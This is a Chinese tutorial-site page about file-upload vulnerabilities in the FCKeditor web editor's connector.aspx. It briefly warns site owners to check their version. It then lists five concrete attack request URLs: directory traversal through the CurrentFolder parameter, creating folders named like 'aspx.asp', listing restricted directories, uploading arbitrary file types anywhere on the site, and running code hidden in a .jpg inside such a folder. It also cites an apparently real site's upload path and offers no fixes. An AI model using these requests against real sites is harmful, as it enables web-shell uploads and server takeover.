繁體中文当前位置: 首页 > 图文教程 > 网络编程 > 网页编辑器 > FCKeditor 新闻组件的一些程序漏洞
- 网页编辑器
- DISCUZ论坛的UBB编辑器（增加灵活调用，支持ASP)
- 一款垃圾中的极品HTML编辑器(兼容IE OR FF)
- 一个Javascript 编写的代码编辑器
- TinyMce 中文手册 在线手册与下载
- eWebEditor_v280_Free_Final最好用的网页编辑器下载
- 新浪博客在线编辑器傻瓜调用版（2007.11.1第四次修正）提供下载了
- 解密FCKeditor 2.0 的设置.修改.使用方法
- 比较不错的修改FCKEditor的修改方法
- FCKeditor2.3 For PHP 详细整理的使用参考
- 又一个不错的FCKeditor 2.2的安装、修改和调用方法
- FCKeditor的几点修改小结
- ASX文件 终极教程
- DISCUZ论坛的UBB编辑器（增加灵活调用，支持ASP UBB解析)打包下载
- Qzone编辑器QzoneEditor打包下载
- FCKEditor v2.6 编辑器配置图解教程
- asp.net 为FCKeditor开发代码高亮插件实现代码
- 宝丽通实现连续播放实现代码
- jsp Ewebeditor使用说明
- 编辑器中designMode和contentEditable的属性的介绍
- 修改fckeditor的文件上传功能步骤
网页编辑器 中的 FCKeditor 新闻组件的一些程序漏洞
出处:互联网 整理: 软晨网（RuanChen.com） 发布: 2010-01-10 浏览: 125 ::
收藏到网摘: n/a
很多网站可能都在用FCK的新闻编辑组件，使用FCK的时候一定要注意版本是否安全，以下是FCK中的文件上传漏洞：（主要是：connector.aspx文件的漏洞） 1 CurrentFolder 参数，可以在网站中不同目录新建文件夹，参数使用 ../../来篡改参数，进入不同的目录
/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../..%2F&NewFolderName=aspx.asp
2 CurrentFolder 参数，根据返回的XML信息可以查看网站所有的目录，比如 “../../../”进入不同的目录，让后通过XML返回的消息就可以看到没有权限的页面browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=%2F
3 上传文件时，通过修改CurrentFolder参数，可以将文件上传到不同的目录
/browser/default/connectors/aspx/connector.aspx?Command=FileUpload&Type=Image&CurrentFolder=%2F
4 同时修改Type 和CurrentFolder 参数，可以上传任意类型文件到网站任意目录，基本上网站就完蛋了。
/browser/default/connectors/aspx/connector.aspx?Command=FileUpload&Type=Image&CurrentFolder=%2F
http://samsungfriend.local.opentide.com.cn/upload/fckroots/Image/asp.asp/asp.asp
5 通过创建文件夹的功能，创建名字带有.aspx的文件夹，如：file.aspx等，利用文件解析漏洞，在该文件夹下上传有代码的.jpg 或.rar等文件（实际文件是.aspx，把文件名该后缀），上传之后就可以利用漏洞执行代码了。 如：www.xxx.com/upload/file.aspx/123.jpg 输入之后，代码被成功执行。
评论 (0) All
